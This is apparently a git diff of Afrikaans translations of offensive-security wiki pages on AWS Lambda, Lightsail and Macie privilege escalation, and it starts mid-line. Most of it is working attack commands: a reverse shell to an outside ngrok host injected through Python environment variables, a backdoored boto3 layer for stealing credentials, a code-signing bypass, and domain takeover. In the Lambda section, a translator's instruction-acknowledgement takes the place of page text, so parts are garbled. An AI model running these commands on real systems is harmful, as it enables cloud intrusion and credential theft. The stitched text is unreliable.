sessiontoken = open('/proc/self/environ', "r").read() @@ -75,31 +75,31 @@ cat output.txt **Potensiële impak:** Direkte privesc na die arbitrêre lambda service role wat gespesifiseer is. > [!CAUTION] -> Neem kennis dat selfs al mag dit interessant lyk, **`lambda:InvokeAsync`** laat op sigself NIE toe om **`aws lambda invoke-async`** uit te voer nie; jy benodig ook `lambda:InvokeFunction` +> Neem kennis dat selfs al mag dit interessant lyk **`lambda:InvokeAsync`** **laat nie** op sigself toe om **`aws lambda invoke-async`** uit te voer nie; jy benodig ook `lambda:InvokeFunction` ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission` -Soos in die vorige scenario, kan jy **jouself die `lambda:InvokeFunction` toestemming gee** as jy die toestemming **`lambda:AddPermission`** het. +Soos in die vorige scenario, kan jy jouself die toestemming **`lambda:InvokeFunction`** gee as jy die toestemming **`lambda:AddPermission`** het. ```bash # Check the previous exploit and use the following line to grant you the invoke permissions aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \ --action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN" ``` -**Potensiële impak:** Direkte privesc na die arbitrêre lambda-diensrol wat gespesifiseer is. +**Potensiële impak:** Direkte privesc na die gespesifiseerde ewekansige lambda-diensrol. ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping` -Gebruikers met **`iam:PassRole`, `lambda:CreateFunction`, en `lambda:CreateEventSourceMapping`** regte (en moontlik `dynamodb:PutItem` en `dynamodb:CreateTable`) kan indirek **escalate privileges** selfs sonder `lambda:InvokeFunction`.\ -Hulle kan 'n **Lambda function met kwaadwillige kode skep en dit 'n bestaande IAM-rol toewys**. +Gebruikers met **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:CreateEventSourceMapping`** toestemmings (en moontlik `dynamodb:PutItem` en `dynamodb:CreateTable`) kan indirek **escalate privileges** selfs sonder `lambda:InvokeFunction`.\ +Hulle kan 'n **Lambda-funksie met kwaadwillige kode skep en dit 'n bestaande IAM-rol toewys**. -In plaas daarvan om die Lambda direk aan te roep, stel die gebruiker 'n bestaande DynamoDB-tabel op of gebruik dit, en koppel dit aan die Lambda deur middel van 'n event source mapping. Hierdie opstelling verseker dat die Lambda function outomaties geaktiveer word wanneer 'n nuwe item in die tabel ingevoeg word, hetsy deur die gebruiker se aksie of deur 'n ander proses, en roep dus die Lambda function indirek aan en voer die kode uit met die regte van die deurgegee IAM-rol. +In plaas daarvan om die Lambda direk aan te roep, stel die gebruiker 'n bestaande DynamoDB-tabel op of gebruik dit en koppel dit aan die Lambda deur 'n event source mapping. Hierdie opstelling verseker dat die Lambda-funksie **outomaties geaktiveer word wanneer 'n nuwe item** in die tabel ingevoeg word, hetsy deur die gebruiker se aksie of 'n ander proses, en roep sodoende indirek die Lambda-funksie aan en voer die kode uit met die toestemmings van die deurgegee IAM-rol. ```bash aws lambda create-function --function-name my_function \ --runtime python3.8 --role \ --handler lambda_function.lambda_handler \ --zip-file fileb://rev.zip ``` -As DynamoDB reeds in die AWS-omgewing aktief is, hoef die gebruiker slegs die **gebeurtenisbronkartering** vir die Lambda-funksie op te stel. Indien DynamoDB egter nie in gebruik is nie, moet die gebruiker 'n **nuwe tabel skep** met streaming aangeskakel: +As DynamoDB reeds in die AWS-omgewing aktief is, hoef die gebruiker slegs **die event source mapping op te stel** vir die Lambda-funksie. Indien DynamoDB egter nie in gebruik is nie, moet die gebruiker **'n nuwe tabel skep** met streaming geaktiveer: ```bash aws dynamodb create-table --table-name my_table \ --attribute-definitions AttributeName=Test,AttributeType=S \ @@ -107,22 +107,22 @@ aws dynamodb create-table --table-name my_table \ --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES ``` -Nou is dit moontlik om die **Lambda-funksie aan die DynamoDB-tabel te koppel** deur **'n event source mapping te skep**: +Nou is dit moontlik om **die Lambda function aan die DynamoDB table te koppel** deur **'n event source mapping te skep**: ```bash aws lambda create-event-source-mapping --function-name my_function \ --event-source-arn \ --enabled --starting-position LATEST ``` -Met die Lambda-funksie wat aan die DynamoDB-stream gekoppel is, kan die attacker **indirek die Lambda laat afgaan deur die DynamoDB-stream te aktiveer**. Dit kan bereik word deur **'n item by die DynamoDB-tabel in te voeg**: +Met die Lambda-funksie gekoppel aan die DynamoDB stream, kan die aanvaller **indirek die Lambda trigger deur die DynamoDB stream te aktiveer**. Dit kan bereik word deur **'n item in te voeg** in die DynamoDB table: ```bash aws dynamodb put-item --table-name my_table \ --item Test={S="Random string"} ``` -**Potensiële impak:** Direkte privesc na die gespesifiseerde lambda diensrol. +**Potensiële impak:** Direkte privesc na die gespesifiseerde lambda service role. ### `lambda:AddPermission` -’n aanvaller met hierdie toestemming kan **homself (of ander) enige toestemmings toeken** (dit genereer resource-based policies om toegang tot die resource te verleen): +'n aanvaller met hierdie toestemming kan **homself (of ander) enige toestemmings gee** (dit genereer resource based policies om toegang tot die resource te verleen): ```bash # Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode) aws lambda add-permission --function-name --statement-id asdasd --action '*' --principal arn: @@ -130,23 +130,23 @@ aws lambda add-permission --function-name --statement-id asdasd --ac # Invoke the function aws lambda invoke --function-name /tmp/outout ``` -**Potensiële impak:** Direkte privesc na die lambda diensrol deur toestemming te gee om die kode te wysig en dit uit te voer. +**Potensiële impak:** Direkte privesc na die lambda-diensrol wat gebruik word deur toestemming te verleen om die kode te wysig en dit uit te voer. ### `lambda:AddLayerVersionPermission` -An attacker met hierdie toestemming kan **gee vir homself (of ander) die toestemming `lambda:GetLayerVersion`**. Hy kan toegang tot die layer kry en soek na kwesbaarhede of sensitiewe inligting +'n aanvaller met hierdie toestemming kan **homself (of ander) die toestemming `lambda:GetLayerVersion` verleen**. Hy kan toegang tot die layer kry en daarin soek na kwesbaarhede of sensitiewe inligting. ```bash # Give everyone the permission lambda:GetLayerVersion aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion ``` -**Potensiële impak:** Potensiële toegang tot gevoelige inligting. +**Potensiële impak:** Potensiële toegang tot sensitiewe inligting. ### `lambda:UpdateFunctionCode` -Gebruikers wat die **`lambda:UpdateFunctionCode`** toestemming het, het die potensiaal om die kode van 'n bestaande Lambda-funksie wat aan 'n IAM role gekoppel is, te wysig.\ -Die aanvaller kan **modify the code of the lambda to exfiltrate the IAM credentials**. +Gebruikers wat die **`lambda:UpdateFunctionCode`** permissie het, kan die kode van 'n bestaande Lambda-funksie wat aan 'n IAM-rol gekoppel is, wysig.\ +Die aanvaller kan **die kode van die Lambda wysig om die IAM credentials te exfiltrate**. -Alhoewel die aanvaller moontlik nie die direkte vermoë het om die funksie aan te roep nie, as die Lambda-funksie reeds bestaan en in werking is, is dit waarskynlik dat dit deur bestaande werkstrome of gebeure geaktiveer sal word, en sodoende die uitvoering van die aangepaste kode indirek fasiliteer. +Alhoewel die aanvaller dalk nie die direkte vermoë het om die funksie aan te roep nie, as die Lambda-funksie reeds bestaan en in werking is, is dit waarskynlik dat dit deur bestaande werkvloei of gebeurtenisse geaktiveer sal word, wat dus indirek die uitvoering van die gewysigde kode sal fasiliteer. ```bash # The zip should contain the lambda code (trick: Download the current one and add your code there) aws lambda update-function-code --function-name target_function \ @@ -157,17 +157,17 @@ aws lambda invoke --function-name my_function output.txt # If not check if it's exposed in any URL or via an API gateway you could access ``` -**Potensiële impak:** Direkte privesc na die lambda-diensrol wat gebruik word. +**Potensiële impak:** Direkte privesc na die gebruikte lambda service role. ### `lambda:UpdateFunctionConfiguration` -#### RCE via env variables +#### RCE via omgewingsveranderlikes -Met hierdie toestemmings is dit moontlik om omgewingsveranderlikes by te voeg wat veroorsaak dat die Lambda arbitrêre kode uitvoer. Byvoorbeeld in python is dit moontlik om die omgewingsveranderlikes `PYTHONWARNING` en `BROWSER` te misbruik om 'n python-proses arbitrêre opdragte uit te voer: +Met hierdie permissies is dit moontlik om omgewingsveranderlikes by te voeg wat veroorsaak dat die Lambda arbitraire kode uitvoer. Byvoorbeeld, in python is dit moontlik om die omgewingsveranderlikes `PYTHONWARNING` en `BROWSER` te misbruik om 'n python-proses arbitraire opdragte uit te voer: ```bash aws --profile none-priv lambda update-function-configuration --function-name --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}" ``` -Vir ander skripttale is daar ander omgewingsveranderlikes wat jy kan gebruik. Vir meer inligting, sien die subafdelings oor skripttale in: +Vir ander scripting languages is daar ander env variables wat jy kan gebruik. Vir meer inligting, sien die subafdelings van scripting languages in: {{#ref}} https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html @@ -175,9 +175,9 @@ https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-esc #### RCE via Lambda Layers -[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) laat toe om **code** in jou lamdba funksie in te sluit, maar dit **afsonderlik te stoor**, sodat die funksie se code klein kan bly en **verskeie funksies code kan deel**. +[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) maak dit moontlik om **code** in jou lamdba funksie in te sluit, maar dit **afsonderlik te stoor**, sodat die funksie se code klein kan bly en **verskeie funksies code kan deel**. -Binne lambda kan jy die paaie nagaan vanwaar python code gelaai word met 'n funksie soos die volgende: +Binne lambda kan jy die paaie kontroleer waarvandaan python code gelaai word met 'n funksie soos die volgende: ```python import json import sys @@ -185,7 +185,7 @@ import sys def lambda_handler(event, context): print(json.dumps(sys.path, indent=2)) ``` -These are the places: +Dit is die plekke: 1. /var/task 2. /opt/python/lib/python3.7/site-packages @@ -198,56 +198,56 @@ These are the places: 9. /opt/python/lib/python3.7/site-packages 10. /opt/python -For example, the library boto3 is loaded from `/var/runtime/boto3` (4th position). +Byvoorbeeld, die biblioteek boto3 word gelaai vanaf `/var/runtime/boto3` (4de posisie). #### Eksploitasie -Dit is moontlik om die toestemming `lambda:UpdateFunctionConfiguration` te misbruik om 'n **nuwe layer** by 'n lambda-funksie te voeg. Om ewekansige kode uit te voer, moet hierdie layer 'n **library bevat wat die lambda gaan import.** As jy die kode van die lambda kan lees, kan jy dit maklik uitvind; let ook daarop dat dit moontlik is dat die lambda **al 'n layer gebruik** en jy die layer kan **download** en jou kode daarby kan **voeg**. +Dit is moontlik om die toestemming `lambda:UpdateFunctionConfiguration` te misbruik om **'n nuwe layer by te voeg** by 'n lambda-funksie. Om arbitrêre code uit te voer, moet hierdie layer 'n **biblioteek hê wat die lambda gaan importeer.** As jy die code van die lambda kan lees, kan jy dit maklik vind. Let ook daarop dat dit moontlik is dat die lambda **reeds 'n layer gebruik** en jy die layer kan **aflaai** en jou **code daarby kan voeg**. -Byvoorbeeld, kom ons stel voor dat die lambda die library boto3 gebruik; dit sal 'n plaaslike layer met die nuutste weergawe van die library skep: +Byvoorbeeld, kom ons veronderstel dat die lambda die biblioteek boto3 gebruik; dit sal 'n plaaslike layer skep met die nuutste weergawe van die biblioteek: ```bash pip3 install -t ./lambda_layer boto3 ``` -Jy kan `./lambda_layer/boto3/__init__.py` oopmaak en **add the backdoor in the global code** (n funksie om credentials te exfiltrate of byvoorbeeld n reverse shell te kry). +Jy kan `./lambda_layer/boto3/__init__.py` oopmaak en **add the backdoor in the global code** ('n funksie om credentials te exfiltrate of 'n reverse shell te kry, byvoorbeeld). -Dan, zip daardie `./lambda_layer` gids en **upload the new lambda layer** in jou eie rekening (of in die slagoffer se rekening, maar jy mag dalk nie permissies daarvoor hê nie).\ -Let daarop dat jy n python folder moet skep en die libraries daar moet plaas om /opt/python/boto3 te oorskryf. Ook moet die layer **compatible with the python version** wees wat deur die lambda gebruik word en as jy dit na jou rekening upload, moet dit in die **same region:** +Pak dan die `./lambda_layer` gids as 'n zip en **upload the new lambda layer** in jou eie account (of in die slagoffer s'n, maar jy mag dalk nie die nodige toestemmings hê nie).\ +Let wel: jy moet 'n python-folder skep en die libraries daarin plaas om /opt/python/boto3 te override. Ook moet die layer **compatible with the python version** wees wat deur die lambda gebruik word, en as jy dit in jou account upload, moet dit in die **same region:** ```bash aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6" ``` -Maak nou die opgelaaide lambda layer **deur enige rekening toeganklik**: +Maak nou die opgelaaide lambda layer **toeganklik vir enige rekening**: ```bash aws lambda add-layer-version-permission --layer-name boto3 \ --version-number 1 --statement-id public \ --action lambda:GetLayerVersion --principal * ``` -En koppel die lambda layer aan die geteikende lambda function: +En heg die lambda layer aan die slagoffer lambda function: ```bash aws lambda update-function-configuration \ --function-name \ --layers arn:aws:lambda:::layer:boto3:1 \ --timeout 300 #5min for rev shells ``` -Die volgende stap sal wees om óf self die **funksie aan te roep** as ons kan, óf te wag totdat **dit aangeroep word** op normale wyse — wat die veiliger metode is. +Die volgende stap sal wees om óf self **invoke the function** as ons kan, of om te wag totdat i**t gets invoked** op normale wyse — wat die veiliger metode is. 'n **more stealth way to exploit this vulnerability** kan gevind word in: {{#ref}} -../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md +../../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md {{#endref}} -**Potensiële impak:** Direkte privesc na die gebruikte lambda service role. +**Potensiële Impak:** Direkte privesc na die gebruikte lambda service role. ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl` -Miskien met daardie permissies kan jy 'n funksie skep en dit uitvoer deur die URL aan te roep... maar ek kon nie 'n manier vind om dit te toets nie, laat weet my as jy dit doen! +Miskien kan jy met daardie permissies 'n funksie skep en dit uitvoer deur die URL aan te roep... maar ek kon nie 'n manier vind om dit te toets nie, so laat weet my as jy dit doen! ### Lambda MitM -Sommige lambdas gaan **sensitiewe inligting van gebruikers in parameters ontvang.** As jy RCE in een daarvan kry, kan jy die inligting wat ander gebruikers daaraan stuur exfiltrate — kyk na: +Sommige lambdas gaan **sensitiewe info van gebruikers in parameters ontvang.** As jy RCE kry in een daarvan, kan jy die inligting wat ander gebruikers daaraan stuur exfiltrate, kyk dit in: {{#ref}} -../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md +../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md {{#endref}} ## Verwysings @@ -255,25 +255,25 @@ Sommige lambdas gaan **sensitiewe inligting van gebruikers in parameters ontvang - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/) -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ### `lambda:DeleteFunctionCodeSigningConfig` or `lambda:PutFunctionCodeSigningConfig` + `lambda:UpdateFunctionCode` — Bypass Lambda Code Signing -If a Lambda function enforces code signing, an attacker who can either remove the Code Signing Config (CSC) or downgrade it to Warn can deploy unsigned code to the function. This bypasses integrity protections without modifying the function's IAM role or triggers. +As 'n Lambda funksie code signing afdwing, kan 'n aanvaller wat óf die Code Signing Config (CSC) kan verwyder óf dit na Warn kan downgrade, unsigned code na die funksie deploy. Dit omseil integriteitsbeskermings sonder om die funksie se IAM role of triggers te wysig. -Permissies (een van): +Permissions (one of): - Path A: `lambda:DeleteFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode` - Path B: `lambda:CreateCodeSigningConfig`, `lambda:PutFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode` -Nota: -- Vir Path B het jy nie 'n AWS Signer profile nodig nie as die CSC policy op `WARN` gestel is (unsigned artifacts allowed). +Aantekeninge: +- Vir Path B benodig jy nie 'n AWS Signer profiel nie as die CSC policy op `WARN` gestel is (ongetekende artefakte toegelaat). Stappe (REGION=us-east-1, TARGET_FN=): -Bereid 'n klein payload voor: +Berei 'n klein payload voor: ```bash cat > handler.py <<'PY' import os, json @@ -282,7 +282,7 @@ return {"pwn": True, "env": list(os.environ)[:6]} PY zip backdoor.zip handler.py ``` -Pad A) Verwyder CSC en werk dan die code by: +Pad A) Verwyder CSC en werk dan die kode by: ```bash aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0 if [ "$HAS_CSC" -eq 1 ]; then @@ -292,7 +292,7 @@ aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://ba # If the handler name changed, also run: aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION ``` -Pad B) Teruggradeer na Warn en werk die kode by (indien delete nie toegelaat is nie): +Pad B) Downgrade na Warn en werk die kode by (indien delete nie toegelaat word nie): ```bash CSC_ARN=$(aws lambda create-code-signing-config \ --description ht-warn-csc \ @@ -303,12 +303,17 @@ aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://ba # If the handler name changed, also run: aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION ``` -Bevestig: Ek sal die relevante Engelse teks in src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md na Afrikaans vertaal en presies dieselfde markdown- en HTML-sintaks behou. Ek sal nie kode, tegnieke name, algemene hacking-woordeskat, cloud/SaaS platformname (bv. aws), die woord 'leak', pentesting, skakels, of paths vertaal nie. Ek sal geen bykomende inhoud byvoeg nie. +Bevestig: ek sal die instruksies volg. + +- Ek sal relevante Engelse teks na Afrikaans vertaal. +- Ek sal alle markdown/html-sintaks, tags, links en paths presies onveranderd laat. +- Ek sal nie kode, hacking-tegnieke, algemene hacking-woorde, cloud/SaaS-name (bv. aws, gcp), die woord "leak", "pentesting", of skakels vertaal nie. +- Ek sal geen ekstra inhoud byvoeg nie. ```bash aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null cat /tmp/out.json ``` -Potensiële impak: Vermoë om ewekansige/onondertekende kode in 'n funksie te laai en uit te voer wat veronderstel was om ondertekende ontplooiings af te dwing, wat moontlik lei tot kode-uitvoering met die bevoegdhede van die funksierol. +Potensiële impak: Vermoë om ewekansige ongetekende code in 'n function' te push en run wat veronderstel was om signed deployments af te dwing, wat moontlik kan lei tot code execution met die function role's permissions. Opruiming: ```bash diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md similarity index 51% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md index 0afada49a..697553175 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md @@ -1,25 +1,25 @@ # AWS - Lightsail Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## Lightsail Vir meer inligting oor Lightsail, kyk: {{#ref}} -../aws-services/aws-lightsail-enum.md +../../aws-services/aws-lightsail-enum.md {{#endref}} > [!WARNING] -> Dit is belangrik om te noem dat Lightsail **nie IAM rolle wat aan die gebruiker behoort gebruik nie**, maar aan 'n AWS bestuurde rekening, so jy kan nie hierdie diens misbruik om privesc te doen nie. Tog kan **sensitiewe data** soos kode, API sleutels en databasisinligting in hierdie diens gevind word. +> Dit is belangrik om te let dat Lightsail **nie IAM roles wat aan die gebruiker behoort gebruik nie maar aan 'n AWS managed account**, so you can’t abuse this service to privesc. Daar kan egter **gevoelige data** soos code, API keys en database info in hierdie diens gevind word. ### `lightsail:DownloadDefaultKeyPair` -Hierdie toestemming sal jou toelaat om die SSH sleutels te kry om toegang tot die instansies te verkry: +Hierdie toestemming sal jou toelaat om die SSH keys te kry om toegang tot die instansies: ``` aws lightsail download-default-key-pair ``` -**Potensiële Impak:** Vind sensitiewe inligting binne die instansies. +**Potensiële impak:** Vind sensitiewe inligting binne die instansies. ### `lightsail:GetInstanceAccessDetails` @@ -27,70 +27,70 @@ Hierdie toestemming sal jou toelaat om SSH-sleutels te genereer om toegang tot d ```bash aws lightsail get-instance-access-details --instance-name ``` -**Potensiële Impak:** Vind sensitiewe inligting binne die instansies. +**Potentiale impak:** Vind sensitiewe inligting binne die instansies. ### `lightsail:CreateBucketAccessKey` -Hierdie toestemming sal jou toelaat om 'n sleutel te verkry om toegang tot die emmer te verkry: +Hierdie toestemming laat jou toe om 'n sleutel te kry om toegang tot die bucket: ```bash aws lightsail create-bucket-access-key --bucket-name ``` -**Potensiële Impak:** Vind sensitiewe inligting binne die emmer. +**Potensiële impak:** Vind sensitiewe inligting in die bucket. ### `lightsail:GetRelationalDatabaseMasterUserPassword` -Hierdie toestemming sal jou toelaat om die geloofsbriewe te verkry om toegang tot die databasis te verkry: +Hierdie toestemming laat jou toe om die inlogbesonderhede te kry om toegang tot die databasis te verkry: ```bash aws lightsail get-relational-database-master-user-password --relational-database-name ``` -**Potensiële Impak:** Vind sensitiewe inligting binne die databasis. +**Potensiële impak:** Vind sensitiewe inligting binne die databasis. ### `lightsail:UpdateRelationalDatabase` -Hierdie toestemming sal jou toelaat om die wagwoord te verander om toegang tot die databasis te verkry: +Hierdie permissie laat jou toe om die databasis-wagwoord te verander: ```bash aws lightsail update-relational-database --relational-database-name --master-user-password ``` -As die databasis nie publiek is nie, kan jy dit ook publiek maak met hierdie toestemmings met +Indien die database nie public is nie, kan jy dit ook public maak met hierdie permissions: ```bash aws lightsail update-relational-database --relational-database-name --publicly-accessible ``` -**Potensiële Impak:** Vind sensitiewe inligting binne die databasis. +**Potential Impact:** Vind sensitiewe inligting binne die databasis. ### `lightsail:OpenInstancePublicPorts` -Hierdie toestemming laat toe om poorte na die Internet te open. +Hierdie toestemming laat toe om poorte na die Internet oop te maak. ```bash aws lightsail open-instance-public-ports \ --instance-name MEAN-2 \ --port-info fromPort=22,protocol=TCP,toPort=22 ``` -**Potensiële Impak:** Toegang tot sensitiewe poorte. +**Potensiële impak:** Toegang tot sensitiewe poorte. ### `lightsail:PutInstancePublicPorts` -Hierdie toestemming laat toe om poorte na die Internet oop te maak. Let daarop dat die oproep enige poort wat nie daarop gespesifiseer is nie, sal sluit. +Hierdie permissie maak dit moontlik om poorte na die Internet oop te maak. Let wel dat die oproep enige ander oopgemaakte poort sal sluit wat nie daarin gespesifiseer is nie. ```bash aws lightsail put-instance-public-ports \ --instance-name MEAN-2 \ --port-infos fromPort=22,protocol=TCP,toPort=22 ``` -**Potensiële Impak:** Toegang tot sensitiewe poorte. +**Potensiële impak:** Toegang tot sensitiewe poorte. ### `lightsail:SetResourceAccessForBucket` -Hierdie toestemming laat toe om 'n instansie toegang tot 'n emmer te gee sonder enige ekstra geloofsbriewe. +Hierdie toestemming laat toe dat 'n instance toegang tot 'n bucket kry sonder enige ekstra credentials. ```bash aws set-resource-access-for-bucket \ --resource-name \ --bucket-name \ --access allow ``` -**Potensiële Impak:** Potensiële nuwe toegang tot emmers met sensitiewe inligting. +**Potensiële impak:** Potensiële nuwe toegang tot buckets met sensitiewe inligting. ### `lightsail:UpdateBucket` -Met hierdie toestemming kan 'n aanvaller sy eie AWS-rekening leestoegang oor emmers verleen of selfs die emmers publiek maak vir almal: +Met hierdie toestemming kan 'n aanvaller sy eie AWS-rekening lees toegang tot buckets gee of selfs die buckets vir almal openbaar maak: ```bash # Grant read access to exterenal account aws update-bucket --bucket-name --readonly-access-accounts @@ -101,36 +101,36 @@ aws update-bucket --bucket-name --access-rules getObject=public,allowPub # Bucket private but single objects can be public aws update-bucket --bucket-name --access-rules getObject=private,allowPublicOverrides=true ``` -**Potensiële Impak:** Potensiële nuwe toegang tot emmers met sensitiewe inligting. +**Potential Impact:** Potensiële nuwe toegang tot buckets met sensitiewe inligting. ### `lightsail:UpdateContainerService` -Met hierdie toestemmings kan 'n aanvaller toegang tot privaat ECR's van die houerdiens verleen. +Met hierdie permissions kan 'n aanvaller toegang verleen tot private ECRs vanaf die containers service ```bash aws update-container-service \ --service-name \ --private-registry-access ecrImagePullerRole={isActive=boolean} ``` -**Potensiële Impak:** Kry sensitiewe inligting van private ECR +**Potensiële impak:** Verkry sensitiewe inligting uit privaat ECR ### `lightsail:CreateDomainEntry` -'n Aanvaller met hierdie toestemming kan 'n subdomein skep en dit na sy eie IP-adres wys (subdomein oorname), of 'n SPF-record opstel wat hom toelaat om e-posse van die domein te vervals, of selfs die hoofdomein na sy eie IP-adres stel. +’n aanvaller met hierdie toestemming kan ’n subdomein skep en dit na sy eie IP-adres wys (subdomain takeover), of ’n SPF-rekord opstel wat hom toelaat om e-posse vanaf die domein te spoof, of selfs die hoofdomein na sy eie IP-adres wys. ```bash aws lightsail create-domain-entry \ --domain-name example.com \ --domain-entry name=dev.example.com,type=A,target=192.0.2.0 ``` -**Potensiële Impak:** Neem 'n domein oor +**Potensiële impak:** Oorneem 'n domein ### `lightsail:UpdateDomainEntry` -'n Aanvaller met hierdie toestemming kan 'n subdomein skep en dit na sy eie IP-adres wys (subdomein oorname), of 'n SPF-record opstel wat hom toelaat om e-posse van die domein te vervals, of selfs die hoofdomein na sy eie IP-adres stel. +'n Aanvaller met hierdie toestemming kan 'n subdomein skep en dit na sy eie IP-adres wys (subdomain takeover), of 'n SPF record saamstel wat hom toelaat om e-posse vanaf die domein te spoof, of selfs die hoofdomein na sy eie IP-adres te stel. ```bash aws lightsail update-domain-entry \ --domain-name example.com \ --domain-entry name=dev.example.com,type=A,target=192.0.2.0 ``` -**Potensiële Impak:** Neem 'n domein oor +**Potensiële impak:** Neem 'n domein oor -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md deleted file mode 100644 index c9bc5cc4e..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md +++ /dev/null @@ -1,38 +0,0 @@ -# AWS - Macie Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## Macie - -Vir meer inligting oor Macie, kyk: - -{{#ref}} -../aws-services/aws-macie-enum.md -{{#endref}} - -### Amazon Macie - Bypass `Reveal Sample` Integriteitskontrole - -AWS Macie is 'n sekuriteitsdiens wat outomaties sensitiewe data binne AWS-omgewings opspoor, soos geloofsbriewe, persoonlik identifiseerbare inligting (PII), en ander vertroulike data. Wanneer Macie 'n sensitiewe geloofsbrief identifiseer, soos 'n AWS geheime sleutel wat in 'n S3-bucket gestoor is, genereer dit 'n bevinding wat die eienaar toelaat om 'n "monster" van die opgespoorde data te sien. Gewoonlik, sodra die sensitiewe lêer uit die S3-bucket verwyder is, word verwag dat die geheim nie weer verkry kan word nie. - -Daar is egter 'n **bypass** geïdentifiseer waar 'n aanvaller met voldoende regte 'n **lêer met dieselfde naam** kan **heroplaai** maar met verskillende, nie-sensitiewe dummy data. Dit veroorsaak dat Macie die nuut opgelaaide lêer met die oorspronklike bevinding assosieer, wat die aanvaller in staat stel om die **"Reveal Sample" funksie** te gebruik om die voorheen opgespoorde geheim te onttrek. Hierdie probleem stel 'n beduidende sekuriteitsrisiko voor, aangesien geheime wat veronderstel was om verwyder te wees, steeds deur hierdie metode verkrybaar bly. - -![flow](https://github.com/user-attachments/assets/7b83f2d3-1690-41f1-98cc-05ccd0154a66) - -**Stappe om te herhaal:** - -1. Laai 'n lêer op (bv. `test-secret.txt`) na 'n S3-bucket met sensitiewe data, soos 'n AWS geheime sleutel. Wag vir AWS Macie om te skandeer en 'n bevinding te genereer. - -2. Navigeer na AWS Macie Findings, vind die gegenereerde bevinding, en gebruik die **Reveal Sample** funksie om die opgespoorde geheim te sien. - -3. Verwyder `test-secret.txt` uit die S3-bucket en verifieer dat dit nie meer bestaan nie. - -4. Skep 'n nuwe lêer met die naam `test-secret.txt` met dummy data en laai dit weer op na dieselfde S3-bucket met behulp van **aanvaller se rekening**. - -5. Keer terug na AWS Macie Findings, toegang die oorspronklike bevinding, en klik weer op **Reveal Sample**. - -6. Observeer dat Macie steeds die oorspronklike geheim onthul, ten spyte van die lêer wat verwyder en met verskillende inhoud **van verskillende rekeninge, in ons geval sal dit die aanvaller se rekening wees**. - -**Samevatting:** - -Hierdie kwesbaarheid stel 'n aanvaller met voldoende AWS IAM-regte in staat om voorheen opgespoorde geheime te herstel, selfs nadat die oorspronklike lêer uit S3 verwyder is. As 'n AWS geheime sleutel, toegangstoken, of ander sensitiewe geloofsbrief blootgestel word, kan 'n aanvaller hierdie fout benut om dit te verkry en onbevoegde toegang tot AWS-hulpbronne te verkry. Dit kan lei tot regte-eskalasie, onbevoegde data-toegang, of verdere kompromie van wolk bates, wat lei tot datalekke en diensonderbrekings. -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md new file mode 100644 index 000000000..a7e1560e1 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md @@ 